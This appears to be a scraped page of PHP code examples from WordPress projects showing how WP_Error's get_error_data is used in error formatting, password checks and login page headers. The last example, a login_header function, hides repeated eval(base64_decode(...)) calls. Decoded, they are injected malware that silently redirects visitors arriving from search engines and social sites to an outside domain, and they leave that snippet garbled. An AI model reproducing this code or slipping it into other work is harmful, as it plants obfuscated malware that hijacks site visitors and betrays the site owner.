Example #1
0
 /**
  * Whether the job result indicates that the service is unavailable and will return.
  *
  * @since 1.4.10
  *
  * @return boolean
  */
 protected function is_service_unavailable()
 {
     $data = is_wp_error($this->job_result) ? $this->job_result->get_error_data() : $this->job_result;
     if (!is_array($data)) {
         return false;
     }
     if (!isset($data['response']['code'])) {
         return false;
     }
     return 503 == $data['response']['code'];
 }
 /**
  * Retrieves a string for error messages.
  *
  * @since 4.6.0
  * @access public
  *
  * @return string Error messages during an upgrade.
  */
 public function get_error_messages()
 {
     $messages = array();
     foreach ($this->errors->get_error_codes() as $error_code) {
         if ($this->errors->get_error_data($error_code) && is_string($this->errors->get_error_data($error_code))) {
             $messages[] = $this->errors->get_error_message($error_code) . ' ' . esc_html(strip_tags($this->errors->get_error_data($error_code)));
         } else {
             $messages[] = $this->errors->get_error_message($error_code);
         }
     }
     return implode(', ', $messages);
 }
 /**
  * @ticket 28092
  */
 function test_remove_error()
 {
     $error = new WP_Error();
     $error->add('foo', 'This is the first error message', 'some error data');
     $error->add('foo', 'This is the second error message');
     $error->add('bar', 'This is another error');
     $error->remove('foo');
     // Check the error has been removed.
     $this->assertEmpty($error->get_error_data('foo'));
     $this->assertEmpty($error->get_error_messages('foo'));
     // The 'bar' error should now be the 'first' error retrieved.
     $this->assertEquals('bar', $error->get_error_code());
     $this->assertEmpty($error->get_error_data());
 }
/**
 * validate complex password
 *
 * @author  Joe Sexton <*****@*****.**>
 * @param   WP_Error $errors
 * @param   stdClass $userData
 * @return  WP_Error
 */
function fourtwo_ppe_validateComplexPassword($errors)
{
    $password = isset($_POST['pass1']) && trim($_POST['pass1']) ? $_POST['pass1'] : null;
    // no password or already has password error
    if (empty($password) || $errors->get_error_data('pass')) {
        return $errors;
    }
    $pass = fourtwo_ppe_isStrongPassword($password);
    // validate
    if (!$pass['length']) {
        $errors->add('pass', '<strong>ERROR</strong>: Your password must contain at least eight (8) characters.');
    }
    if (!$pass['num']) {
        $errors->add('pass', '<strong>ERROR</strong>: Your password must contain at least one (1) number.');
    }
    if (!$pass['alpha']) {
        $errors->add('pass', '<strong>ERROR</strong>: Your password must contain at least one (1) letter.');
    }
    if (!$pass['upper']) {
        $errors->add('pass', '<strong>ERROR</strong>: Your password must contain at least one (1) uppercase letter.');
    }
    if (!$pass['lower']) {
        $errors->add('pass', '<strong>ERROR</strong>: Your password must contain at least one (1) lowercase letter.');
    }
    if (!$pass['special']) {
        $errors->add('pass', '<strong>ERROR</strong>: Your password must contain at least one (1) special character.');
    }
    return $errors;
}
function login_header($title = 'Login', $message = '', $wp_error = '') {
	global $error;

	if ( empty($wp_error) )
		$wp_error = new WP_Error();
	?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<title><?php bloginfo('name'); ?> &rsaquo; <?php echo $title; ?></title>
	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
	<?php
	wp_admin_css( 'css/login' );
	wp_admin_css( 'css/colors-fresh' );
	?>
	<script type="text/javascript">
		function focusit() {
			document.getElementById('user_login').focus();
		}
		window.onload = focusit;
	</script>
<?php do_action('login_head'); ?>
</head>
<body class="login">

<div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', 'http://wordpress.org/'); ?>" title="<?php echo apply_filters('login_headertitle', __('Powered by WordPress')); ?>"><?php bloginfo('name'); ?></a></h1>
<?php
	if ( !empty( $message ) ) echo apply_filters('login_message', $message) . "\n";

	// Incase a plugin uses $error rather than the $errors object
	if ( !empty( $error ) ) {
		$wp_error->add('error', $error);
		unset($error);
	}

	if ( $wp_error->get_error_code() ) {
		$errors = '';
		$messages = '';
		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data($code);
			foreach ( $wp_error->get_error_messages($code) as $error ) {
				if ( 'message' == $severity )
					$messages .= '	' . $error . "<br />\n";
				else
					$errors .= '	' . $error . "<br />\n";
			}
		}
		if ( !empty($errors) )
			echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
		if ( !empty($messages) )
			echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
	}
} // End of login_header()
 /**
  * Merge errors from another WP_Error object into the one dedicated to this model object.
  *
  * @param  \WP_Error  $otherErrors
  */
 protected function importErrors(\WP_Error $otherErrors)
 {
     foreach ($otherErrors->get_error_codes() as $code) {
         $errors = $otherErrors->get_error_messages($code);
         $data = $otherErrors->get_error_data($code);
         for ($i = 0; $i < max(count($errors), count($data)); $i++) {
             if (array_key_exists($i, $errors)) {
                 $data = array_key_exists($i, $data) ? $data[$i] : null;
                 $this->errors->add($code, $errors[$i], $data);
             }
         }
     }
 }
Example #7
0
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $is_iphone, $current_site;
    // Don't index any of these forms
    add_filter('pre_option_blog_public', create_function('$a', 'return 0;'));
    add_action('login_head', 'noindex');
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    ?>


<div id="login">
<?php 
    $message = apply_filters('login_message', $message);
    if (!empty($message)) {
        echo $message . "\n";
    }
    // Incase a plugin uses $error rather than the $errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
Example #8
0
 function simplelogin_header($title, $message = '', $wp_error = '', $args = '')
 {
     global $error;
     extract($args);
     if (empty($wp_error)) {
         $wp_error = new WP_Error();
     }
     if (!empty($error)) {
         $wp_error->add('error', $error);
         unset($error);
     }
     echo $before_widget . $before_title . __($title, 'simplelogin') . $after_title . "\n";
     echo '<div id="login">';
     if (!empty($message)) {
         echo apply_filters('login_message', $message) . "\n";
     }
     if ($wp_error->get_error_code()) {
         $errors = '';
         $messages = '';
         foreach ($wp_error->get_error_codes() as $code) {
             $severity = $wp_error->get_error_data($code);
             foreach ($wp_error->get_error_messages($code) as $error) {
                 if ('message' == $severity) {
                     $messages .= '    ' . $error . "<br />\n";
                 } else {
                     $errors .= '    ' . $error . "<br />\n";
                 }
             }
         }
         if (!empty($errors)) {
             echo '<p class="error">' . apply_filters('login_errors', $errors) . "</p>\n";
         }
         if (!empty($messages)) {
             echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
         }
     }
 }
Example #9
0
function wpmp_switcher_login_header($title, $message = '', $wp_error = '')
{
    global $error;
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    include_once 'mobile.php';
    wpmp_ms_mobile_top($title);
    if (!empty($message)) {
        echo apply_filters('login_message', $message) . "\n";
    }
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
Example #10
0
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '') {
	global $error, $is_iphone, $interim_login, $current_site;

	// Don't index any of these forms
	add_filter( 'pre_option_blog_public', '__return_zero' );
	add_action( 'login_head', 'noindex' );

	if ( empty($wp_error) )
		$wp_error = new WP_Error();

	// Shake it!
	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password' );
	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );

	if ( $shake_error_codes && $wp_error->get_error_code() && in_array( $wp_error->get_error_code(), $shake_error_codes ) )
		add_action( 'login_head', 'wp_shake_js', 12 );

	?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<title><?php bloginfo('name'); ?> &rsaquo; <?php echo $title; ?></title>
	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<?php
	wp_admin_css( 'login', true );
	wp_admin_css( 'colors-fresh', true );

	if ( $is_iphone ) { ?>
	<meta name="viewport" content="width=320; initial-scale=0.9; maximum-scale=1.0; user-scalable=0;" />
	<style type="text/css" media="screen">
	form { margin-left: 0px; }
	#login { margin-top: 20px; }
	</style>
<?php
	} elseif ( isset($interim_login) && $interim_login ) { ?>
	<style type="text/css" media="all">
	.login #login { margin: 20px auto; }
	</style>
<?php
	}

	do_action('login_head'); ?>
</head>
<body class="login">
<?php   if ( !is_multisite() ) { ?>
<div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', 'http://wordpress.org/'); ?>" title="<?php echo apply_filters('login_headertitle', __('Powered by WordPress')); ?>"><?php bloginfo('name'); ?></a></h1>
<?php   } else { ?>
<div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', network_home_url() ); ?>" title="<?php echo apply_filters('login_headertitle', $current_site->site_name ); ?>"><span class="hide"><?php bloginfo('name'); ?></span></a></h1>
<?php   }

	$message = apply_filters('login_message', $message);
	if ( !empty( $message ) ) echo $message . "\n";

	// Incase a plugin uses $error rather than the $errors object
	if ( !empty( $error ) ) {
		$wp_error->add('error', $error);
		unset($error);
	}

	if ( $wp_error->get_error_code() ) {
		$errors = '';
		$messages = '';
		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data($code);
			foreach ( $wp_error->get_error_messages($code) as $error ) {
				if ( 'message' == $severity )
					$messages .= '	' . $error . "<br />\n";
				else
					$errors .= '	' . $error . "<br />\n";
			}
		}
		if ( !empty($errors) )
			echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
		if ( !empty($messages) )
			echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
	}
} // End of login_header()
 /**
  * Retrieve all information of a WP_Error object as a string.
  *
  * @since 1.4.0
  *
  * @param WP_Error $wp_error A WP_Error object.
  * @return string All error codes, messages, and data of the WP_Error.
  */
 protected function get_wp_error_string($wp_error)
 {
     $error_strings = array();
     $error_codes = $wp_error->get_error_codes();
     // Reverse order to get latest errors first.
     $error_codes = array_reverse($error_codes);
     foreach ($error_codes as $error_code) {
         $error_strings[$error_code] = $error_code;
         $error_messages = $wp_error->get_error_messages($error_code);
         $error_messages = implode(', ', $error_messages);
         if (!empty($error_messages)) {
             $error_strings[$error_code] .= " ({$error_messages})";
         }
         $error_data = $wp_error->get_error_data($error_code);
         if (!is_null($error_data)) {
             $error_strings[$error_code] .= " [{$error_data}]";
         }
     }
     return implode(";\n", $error_strings);
 }
 /**
  * Log an error instance to the logger.
  *
  * @param WP_Error $error Error instance to log.
  */
 protected function log_error(WP_Error $error)
 {
     $this->logger->warning($error->get_error_message());
     // Log the data as debug info too
     $data = $error->get_error_data();
     if (!empty($data)) {
         $this->logger->debug(var_export($data, true));
     }
 }
Example #13
0
 /**
  * Redirect to the application URL with errors returned in the Authorization
  * Code grant.
  *
  * @since 1.0.0
  *
  * @param  WP_Error $error Error.
  */
 protected function report_error(WP_Error $error)
 {
     $url = $this->get_application_url(array('error' => $error->get_error_code(), 'error_description' => urlencode($error->get_error_message()), 'error_uri' => urlencode($error->get_error_data('error_uri'))));
     wp_safe_redirect($url);
     exit;
 }
 /**
  * Log a message about the syncing process.
  *
  * @param  WP_Error $error While the message may not be an "error" per se,
  *                         this uses WP_Error to keep organized.
  */
 public function log(WP_Error $error)
 {
     if (defined('WP_CLI') && WP_CLI) {
         $method = $error->get_error_code();
         if (!in_array($method, array('success', 'warning', 'error'))) {
             $method = 'line';
         }
         $message = $error->get_error_data() ? $error->get_error_message() . "; Data: " . json_encode($error->get_error_data()) : $error->get_error_message();
         call_user_func(array('WP_CLI', $method), $message);
         $this->data['messages'][$error->get_error_code()][] = $message;
     } else {
         $this->data['messages'][$error->get_error_code()][] = $error->get_error_message();
         set_transient($this->error_transient, true);
         if (!$this->data['running']) {
             $this->save();
         }
     }
 }
 /**
  * Prepare a WP_Error for sending to JS.
  *
  * @param \WP_Error $error Error.
  * @return array
  */
 public function prepare_errors_for_response(\WP_Error $error)
 {
     $exported_errors = array();
     foreach ($error->errors as $code => $messages) {
         $exported_errors[$code] = array('message' => join(' ', $messages), 'data' => $error->get_error_data($code));
     }
     return $exported_errors;
 }
Example #16
0
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $is_iphone, $interim_login, $current_site;
    // Don't index any of these forms
    add_filter('pre_option_blog_public', '__return_zero');
    add_action('login_head', 'noindex');
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    // Shake it!
    $shake_error_codes = array('empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password');
    $shake_error_codes = apply_filters('shake_error_codes', $shake_error_codes);
    //if ( $shake_error_codes && $wp_error->get_error_code() && in_array( $wp_error->get_error_code(), $shake_error_codes ) )
    //add_action( 'login_head', 'wp_shake_js', 12 );
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
<?php 
    $title = "Autentificare / Înregistrare";
    $url_path = "/";
    include 'header.php';
    ?>
  <link rel="stylesheet" href="styles.css?v=3" />
  
  <meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
  <?php 
    do_action('login_head');
    ?>

<table width="970" cellspacing="15">
<td width="300" valign="top">

<?php 
    if (!empty($message)) {
        echo apply_filters('login_message', $message) . "\n";
    }
    // Incase a plugin uses $error rather than the $errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
Example #17
0
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $is_iphone;
    // Don't index any of these forms
    add_filter('pre_option_blog_public', create_function('$a', 'return 0;'));
    add_action('login_head', 'noindex');
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
	<title><?php 
    bloginfo('name');
    ?>
 &rsaquo; <?php 
    echo $title;
    ?>
</title>
	<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
	<?php 
    wp_admin_css('login', true);
    wp_admin_css('colors-fresh', true);
    if ($is_iphone) {
        ?>
	<meta name="viewport" content="width=320; initial-scale=0.9; maximum-scale=1.0; user-scalable=0;" /> 
	<style type="text/css" media="screen"> 
	form { margin-left: 0px; }
	#login { margin-top: 20px; }
	</style>
	<?php 
    }
    do_action('login_head');
    ?>
</head>
<body class="login">

<div id="login"><h1><a href="<?php 
    echo apply_filters('login_headerurl', 'http://wordpress.org/');
    ?>
" title="<?php 
    echo apply_filters('login_headertitle', __('Powered by WordPress'));
    ?>
"><?php 
    bloginfo('name');
    ?>
</a></h1>
<?php 
    $message = apply_filters('login_message', $message);
    if (!empty($message)) {
        echo $message . "\n";
    }
    // Incase a plugin uses $error rather than the $errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
Example #18
0
}
// Attempt to log the user in
if ($user = bb_login(@$_POST['log'], @$_POST['pwd'], @$_POST['rememberme'])) {
    if (!is_wp_error($user)) {
        bb_safe_redirect($re);
        exit;
    } else {
        $bb_login_error =& $user;
    }
    // No login so prepare the error
} else {
    $bb_login_error = new WP_Error();
}
/** Handle errors *************************************************************/
// Get error data so we can provide feedback
$error_data = $bb_login_error->get_error_data();
// Does user actually exist
if (isset($error_data['unique']) && false === $error_data['unique']) {
    $user_exists = true;
} else {
    $user_exists = !empty($_POST['log']) && (bool) bb_get_user($_POST['log'], array('by' => 'login'));
}
// Check for errors on post method
if ('post' == strtolower($_SERVER['REQUEST_METHOD'])) {
    // If the user doesn't exist then add that error
    if (empty($user_exists)) {
        if (!empty($_POST['log'])) {
            $bb_login_error->add('user_login', __('User does not exist.'));
        } else {
            $bb_login_error->add('user_login', $email_login ? __('Enter a username or email address.') : __('Enter a username.'));
        }
    /**
     * Register a notice when authentication failed.
     *
     * @since  0.1.0
     *
     * @param  WP_Error $request WP_Error object
     *
     * @return bool              Failed connection.
     */
    public function oops_error_message($request)
    {
        $message = '
		<h4>' . $request->get_error_message() . '</h4>
		<h4>' . $request->get_error_code() . '</h4>
		<xmp>Error Data: ' . print_r($request->get_error_data(), true) . '</xmp>
		<p><a class="button-secondary" href="' . add_query_arg('dismiss_errrors', 1) . '">' . __('Dismiss Errors', 'wds-rest-connect-ui') . '</a></p>
		';
        $this->register_notice($message);
        return false;
    }
Example #20
0
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $is_iphone, $interim_login;
    // Don't index any of these forms
    add_filter('pre_option_blog_public', create_function('$a', 'return 0;'));
    add_action('login_head', 'noindex');
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcm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lcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $title;
    ?>
</title>
	<meta http-equiv="Content-Type" content="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJz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3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    wp_admin_css('login', true);
    wp_admin_css('colors-fresh', true);
    if ($is_iphone) {
        ?>
	<meta name="viewport" content="width=320; initial-scale=0.9; maximum-scale=1.0; user-scalable=0;" />
	<style type="text/css" media="screen">
	form { margin-left: 0px; }
	#login { margin-top: 20px; }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XJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    } elseif (isset($interim_login) && $interim_login) {
        ?>
	<style type="text/css" media="all">
	.login #login { margin: 20px auto; }
	</style>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    }
    do_action('login_head');
    ?>
</head>
<body class="login">

<div id="login"><h1><a href="<?php 
